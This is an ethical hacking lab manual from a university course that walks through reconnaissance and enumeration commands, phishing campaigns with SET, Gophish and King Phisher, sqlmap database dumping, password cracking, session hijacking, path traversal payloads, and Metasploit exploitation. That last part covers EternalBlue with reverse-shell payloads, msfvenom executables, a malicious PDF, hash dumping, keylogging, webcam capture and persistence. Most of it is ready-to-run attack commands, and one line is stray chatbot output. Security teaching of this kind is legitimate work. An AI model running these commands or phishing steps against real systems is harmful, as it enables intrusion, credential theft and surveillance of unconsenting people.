ETHICAL HACKING LAB MANUAL

Reconnaissance, Scanning, Enumeration, Phishing and Gaining Access

Prepared by Mr. Wilbard G. Masue (wilbard.masue@udom.ac.tz)

A. Reconnaissance, Scanning & Enumeration

1. NetBIOS enumeration

nbtscan 192.168.102.29

nmblookup -A 192.168.102.29

2. workgroup enumerations (usernames and passwords)

enum4linux -d udom.ac.tz 192.168.102.29

enum4linux -u <username> -p <password> -d udom.ac.tz <target IP>

⚠ Important: NetBIOS/SMB enumeration generally works only if you're within the same internal network or have VPN access. Public domains like udom.ac.tz typically don't expose SMB/NetBIOS over the internet due to security best practices

3. email enumeration

theHarvester -d udom.ac.tz -b duckduckgo

theHarvester -d udom.ac.tz -b google

theHarvester -d udom.ac.tz -b bing

theHarvester -d udom.ac.tz -b all

4. SNMP enumeration

snmpwalk -v 2c -c <community> <target IP> (command format)

snmpwalk -v 2c -c public 192.168.102.29

where by

-v 2c = SNMP version 2c (commonly used)

-c public = community string (default is usually public or private)

snmpenum -t 192.168.102.29-c public

5. NTP enumerations

```
ntpq -p 192.168.102.29

ntpdc -c monlist 192.168.102.29

nmap -sU -p 123 --script=ntp-info 192.168.102.29
```

6. SMB enumeration

```
enum4linux 192.168.102.29

smbclient -L //192.168.102.29/ -N

nmap --script smb-enum-shares -p 445 192.168.102.29
```

7. DNS Enumeration

```
dnsenum udom.ac.tz

dig axfr @ns1.udom.ac.tz udom.ac.tz

dnsrecon -d udom.ac.tz
```

8. LDAP Enumeration

```
ldapsearch -x -h 192.168.102.29-b "dc=udom,dc=ac.tz"

nmap -p 389 --script=ldap-search 192.168.102.29
```

9. RPC Enumeration

```
rpcclient -U "" 192.168.102.29
```

10. HTTP/HTTPS Enumeration

```
nikto -h http:// 192.168.102.29

gobuster dir -u http:// 192.168.102.29 -w /usr/share/wordlists/dirb/common.txt
```

11. FTP Enumeration

```
ftp 192.168.102.29

nmap -p 21 --script=ftp-anon,ftp-bounce 192.168.102.29
```

12. User Account Enumeration

```
enum4linux -U 192.168.102.29

nmap --script smb-enum-users -p445 192.168.102.29

kerbrute userenum --dc 192.168.102.29 -d domain.local usernames.txt
```

13. Kerberos Enumeration (AS-REP Roasting)

GetNPUsers.py domain.local/ -usersfile usernames.txt -no-pass -dc-ip 192.168.102.29

14. Service Enumeration

nmap -sV 192.168.102.29

15. File Share Enumeration (NFS, Samba, Windows Shares)

showmount -e 192.168.102.29

smbclient -L //192.168.102.29/ -N

nmap --script nfs-showmount -p 111 192.168.102.29

16. RDP Enumeration

nmap -p 3389 --script rdp-enum-encryption 192.168.102.29

17. Password Policy Enumeration (via SMB or LDAP)

rpcclient -U "" 192.168.102.29 -c "getdompwinfo"

18. VPN Enumeration

ike-scan -M 192.168.102.29

19. VoIP (SIP) Enumeration

svmap 192.168.102.29/24

nmap -sU -p 5060 --script sip-enum-users 192.168.102.29

20. Web App Enumeration (Directories, Users, Tech Stack)

whatweb http://udom.ac.tz

gobuster dir -u http:// udom.ac.tz -w /usr/share/wordlists/dirb/common.txt

21. Vulnerability Enumeration

nmap --script vuln -p- 192.168.102.29

22. Port Enumerations

nmap 192.168.102.29

nmap -p 22,80,443 192.168.102.29

nmap -p 1-1000 192.168.102.29

nmap -p 1-65535 192.168.102.29

masscan -p80,443 192.168.102.29

23. Service and Version Enumeration

nmap -sV 192.168.102.29

24. OS Detection

nmap -O 192.168.102.29

25. Checking Individual Ports

nc -zv 192.168.102.29 22

26. Using lsof (List Open Files) for Local Port Enumeration

lsof -i -P -n

27. Using nmap for Firewall Detection and Port Filtering

nmap -PN -p 445 192.168.102.29

NB: The -PN option skips the host discovery phase and proceeds with the port scan directly.

28. Host Discovery

nmap -sn 192.168.102.29/24

29. Using Netdiscover for ARP Scanning

netdiscover -r 192.168.102.29/24

30. Using traceroute for Network Path Discovery

traceroute 192.168.102.29

31. Using nslookup for domain to IP or IP to domain

nslookup 192.168.102.29

nslookup udom.ac.tz

B. SOCIAL ENGINNERING & PHISHING

32. Social engineering attack with setookit

i. sudo apt update
ii. sudo apt install setoolkit
iii. setoolkit

Phishing Attack:
To launch a **web-based phishing attack**, you can clone a legitimate website and send it to the target.

- Choose option 1 for Social Engineering Attacks.
- Then select 2 for **Website Attack Vectors**.
- After that, choose 3 for **Credential Harvester Attack Method**.

USB Mass Storage Attack:
SET can also generate a **malicious payload** that will be placed on a USB drive. When plugged into a computer, the payload runs automatically.

- Choose option 3 for **Infectious Media Generator**.

Email Phishing Attack:
SET can also send **phishing emails** to your targets, crafted to look like they come from a trusted source.

- Choose option 1 for **Social Engineering Attacks**.
- Then select 3 for **Email Attack Vector**.

33. Social engineering attack with Gophish

Install Gophish:

Download the latest release from Gophish GitHub Releases.

Extract the archive and start the Gophish server:

./gophish

Gophish Workflow:

1. Create a Campaign: Set up a phishing campaign with a fake landing page and a malicious email template.
2. Send Emails: Launch the campaign to send phishing emails to your targets.
3. Track Results: Gophish will track who clicked on the link and filled out the form.

34. Social engineering attack with kingphisher

sudo apt update

sudo apt upgrade

Install King Phisher:

```
sudo apt install king-phisher
```

Step 1: Start King Phisher:
To run King Phisher, use the following command:

```
king-phisher
```

This will start the King Phisher **server** on the default local address (http://127.0.0.1:5000), which you can access through a web browser.

Step 2: Set Up the Server Configuration

- When you first launch King Phisher, it will prompt you for basic configurations, including **SMTP server settings** (for email delivery), **database** configurations, and **campaign parameters**.
- These configurations are important because they allow King Phisher to send phishing emails, track interactions, and store results.

Step 3: Create a New Campaign

1. **Log in to the Web Interface**: Go to http://127.0.0.1:5000 in your browser and log in with the credentials you set up earlier.
2. **Create a New Campaign**:
    - Go to the **Campaigns** tab in the interface.
    - Click **Create New Campaign**.
    - Fill in the necessary details:
        - **Campaign Name**: Give it a name (e.g., "Email Phishing Test").
        - **From Email**: The email address you want to send from (must be properly configured in the SMTP settings).
        - **Subject Line**: The subject of your phishing email (e.g., "Urgent Security Update").
        - **Landing Page URL**: Provide the URL of the fake landing page you want to use (this can be a custom URL or a cloned website).

Step 4: Create Phishing Email Templates

1. **Create Email Templates**:

- You can either **create new email templates** using the **Email Templates** section or select from pre-configured templates.
- Modify the email content to look as legitimate as possible, adding **malicious links** (URLs leading to fake login pages or websites).

2. **Configure Links in Email**:
   - Use links that look legitimate but redirect to your phishing website.
   - For example, you might use a **shortened URL** or a link that mimics a trusted website.

Step 5: Set Up the Landing Page

1. **Landing Page Setup**:
   - King Phisher comes with pre-configured **landing page templates** for websites like **Gmail**, **Yahoo**, **Facebook**, etc.
   - Alternatively, you can **clone a website** using a custom HTML page that collects credentials.
   - These pages are hosted on your **King Phisher server** and are used to capture user credentials when a target interacts with them.

Step 6: Add Targets to Your Campaign

1. **Import Target Email Addresses**:
   - You can **import** a list of target email addresses (e.g., from a CSV file).
   - Go to the **Targets** section and upload a CSV file with the target emails.
2. **Set Up Campaign**:
   - Select the campaign you created earlier and associate it with the **target list**.
   - Set the time interval for sending phishing emails.

Step 7: Launch the Campaign

1. Once everything is set up, click **Start Campaign**.
2. King Phisher will start sending the phishing emails to your targets and will **track** their actions (e.g., opening the email, clicking the link, submitting data on the fake landing page).

Step 8: Monitor Campaign Results

- **Track Interactions**:
  - King Phisher will show you a dashboard with details about who opened the email, who clicked on the phishing link, and who submitted credentials.
  - This allows you to see which targets have fallen for the phishing attempt.
- **Export Results**:
  - You can export **results** for analysis (e.g., who submitted their credentials, who clicked the link, etc.).

C. Gaining Access

SQL Injection

```
sudo apt install sqlmap

sqlmap -u "http://target.com/vulnerable.php?id=1" --batch

sqlmap -u "http://target.com/vulnerable.php?id=1" --tamper=space2comment –batch

sqlmap -u "http://target.com/vulnerable.php?id=1" --random-agent –batch

sqlmap -u "http://target.com/vulnerable.php" --data="id=1" –batch

sqlmap -u "http://target.com/vulnerable.php?id=1" --technique=T --time-sec=5 –batch

sqlmap -u "http://target.com/vulnerable.php?id=1" --tamper=space2comment,between –batch
```

Dumping Database Tables

1. Identify the vulnerable parameter
   Start by testing the target URL with sqlmap to confirm SQL injection vulnerability:

sqlmap -u "http://target.com/vulnerable.php?id=1" --batch --level=3 --risk=2

2. Enumerate databases
   Once confirmed vulnerable, list all databases on the server:

sqlmap -u "http://target.com/vulnerable.php?id=1" --dbs --batch

3. Choose a database to explore
   Pick a database from the list (e.g., mydatabase) and enumerate its tables:

sqlmap -u "http://target.com/vulnerable.php?id=1" -D mydatabase --tables --batch

4. Enumerate columns in a table
   Choose a table (e.g., users) and list its columns:

sqlmap -u "http://target.com/vulnerable.php?id=1" -D mydatabase -T users --columns --batch

5. Dump data from a table
   Dump the contents of the table (e.g., users):

sqlmap -u "http://target.com/vulnerable.php?id=1" -D mydatabase -T users --dump --batch

6. Dump specific columns (optional)
   If you want to dump specific columns (e.g., username and password):

sqlmap -u "http://target.com/vulnerable.php?id=1" -D mydatabase -T users -C username,password --dump --batch

If you encounter WAF or filtering, you can add tamper scripts or other options as discussed earlier.

Brute forcing and password cracking

hydra -l username -P /path/to/password_list.txt ssh://target_ip

using Johntheripper

1. Obtain password hashes
   First, you need to have password hashes (e.g., from a database dump, /etc/shadow file, or captured hashes).

2. Save hashes to a file
   Put the hashes into a text file, say hashes.txt.

3. Run John the Ripper
   Use John to crack the hashes with a wordlist:

   john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

4. Check cracked passwords
   To see cracked passwords:

   john --show hashes.txt

John supports many hash types and can auto-detect them, but if needed, you can specify the format with --format=.

Session Hijacking

1. **Set up Burp Suite as a proxy**
   Open Burp Suite and configure your browser to use Burp as an HTTP/HTTPS proxy (usually localhost:8080).

2. **Capture traffic**
   Browse the target web application through the proxy. Burp will capture all HTTP requests and responses.

3. **Identify session cookies**
   In Burp's "Proxy" → "HTTP history" tab, look for requests to the target domain. Check the request headers for cookies, especially session cookies like **PHPSESSID**, **JSESSIONID**, or custom tokens.

4. **Copy the session cookie**
   Right-click the request → "Copy" → "Copy to Repeater" or just note the cookie value.

5. **Test session reuse**
   Open Burp's "Repeater" tab, paste the request, and resend it. Modify the cookie value to the captured session cookie if needed. If the server accepts it, you have successfully hijacked the session.

6. **Use the cookie in your browser**
   You can also manually set the captured session cookie in your own browser (using developer tools or extensions like "EditThisCookie") to impersonate the user.

7. **Optional: Automate with Burp extensions**
   Extensions like "Autorize" or "Session Token Analyzer" can help analyze session management and hijacking potential.

ALTERNATIVELY

1. Capture the session cookie value from Burp's Proxy → HTTP history by inspecting the request headers (look for the **Cookie** header).

2. Open your browser's developer tools (usually F12), go to the Application or Storage tab, find Cookies for the target domain.

3. Edit or add a cookie with the same name as the session cookie (e.g., **PHPSESSID**) and paste the captured value.

4. Refresh or revisit the target site in your browser. If the session is valid, you'll be logged in as the user whose session you hijacked.

ALTERNATIVELY (at your own / colleague device – Don't use it unethically)

1. Open the target website in your browser.

2. Press F12 (or right-click and select "Inspect") to open Developer Tools.

3. Go to the “Application” tab (in Chrome/Edge) or “Storage” tab (in Firefox).
4. Under “Storage” or “Cookies,” select the domain of the target website.
5. You will see all cookies set by the site, including session cookies like PHPSESSID, JSESSIONID, or custom tokens.
6. You can copy the value of the session cookie directly from here.
7. To hijack the session, you can paste this cookie value into another browser or profile’s cookie storage.

Cross Site Scripting

Find relevant practical way

Cross Site Request Forgery

Find relevant practical way

Session Fixation

Find relevant practical way

Insecure Direct Object Reference

Find relevant practical way

Path Traversal

Path traversal is a web vulnerability where an attacker manipulates file path inputs to access files and directories outside the intended scope, potentially exposing sensitive system files. This usually happens when user input is used directly in file system operations without proper validation or sanitization.

For example, if a web app takes a filename parameter and reads that file from the server, an attacker might input something like **../../../../etc/passwd** to access the system password file.

To test for path traversal manually, you can try injecting payloads like **../**, **..%2f**, or **..** into parameters that handle file paths and observe if you can access unauthorized files.

To test for path traversal vulnerabilities, you can try injecting payloads into URL parameters or form inputs that handle file paths. For example, if the URL looks like:

http://target.com/download?file=report.pdf

Try replacing **report.pdf** with traversal payloads like:

../etc/passwd

..%2fetc%2fpasswd

../../../../etc/passwd

..\\..\\..\\windows\\win.ini

If the server returns the contents of these files or an error indicating access outside the intended directory, it's likely vulnerable.

You can also automate testing with tools like **Burp Suite Intruder** by setting the parameter as a payload position and using a list of traversal strings.

Would you like me to provide a sample Burp Intruder payload list or a script to automate path traversal testing?

Remote Command Execution

Find relevant practical way

Privilege Escalation

Find relevant practical way

Clickjacking

Find relevant practical way

Using Metasploit in Hacking

✅ **1. Starting the Metasploit Console**

>msfconsole

🔍 **2. Scanning Open Ports (TCP Scan)**

use auxiliary/scanner/portscan/tcp

set RHOSTS 192.168.1.0/24

set PORTS 1-1000

run

🌐 **3. Detecting Services on Ports**

use auxiliary/scanner/banner

set RHOSTS 192.168.1.10

run

🖥️ 4. Detecting Operating System via SMB

use auxiliary/scanner/smb/smb_version

set RHOSTS 192.168.1.10

run

🛰️ 5. SNMP Enumeration

use auxiliary/scanner/snmp/snmp_enum

set RHOSTS 192.168.1.0/24

run

🎯 6. Exploiting MS17-010 (EternalBlue)

use exploit/windows/smb/ms17_010_eternalblue

set RHOST 192.168.1.10

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.5

exploit

💥 7. Creating a Custom Payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > payload.exe

📂 8. Delivering Malicious PDF

use exploit/windows/fileformat/adobe_pdf_embedded_exe

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.5

exploit

🔐 9. Brute-Forcing SSH Login

use auxiliary/scanner/ssh/ssh_login

set RHOSTS 192.168.1.10

```
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```

🧠 **10. Exploiting a Web App (phpMyAdmin RCE)**

```
use exploit/unix/webapp/phpmyadmin_unauth_rce
set RHOST 192.168.1.10
exploit
```

11. Get Meterpreter Session

After successful exploitation:

```
meterpreter >
```

12. Elevate Privileges (Post-Exploitation)

```
meterpreter > getsystem
```

13. Dump Windows Password Hashes

```
meterpreter > hashdump
```

14. Keylogging

```
meterpreter > keyscan_start
# wait...
meterpreter > keyscan_dump
```

15. Take Webcam Snapshot

```
meterpreter > webcam_snap
```

16. Enable Persistence

```
run persistence -U -i 5 -p 4444 -r 192.168.1.5
```

17. ARP Spoofing (MITM Attack)

```
use auxiliary/spoof/arp/arp_poisoning
set RHOSTS 192.168.1.100
set TARGET 192.168.1.1
```

run

18. Capture SMB Credentials

use auxiliary/server/capture/smb

run

19. Start and Use Metasploit Database

service postgresql start

msfdb init

db_status

20. Import Nmap Scan Results

To be continued……..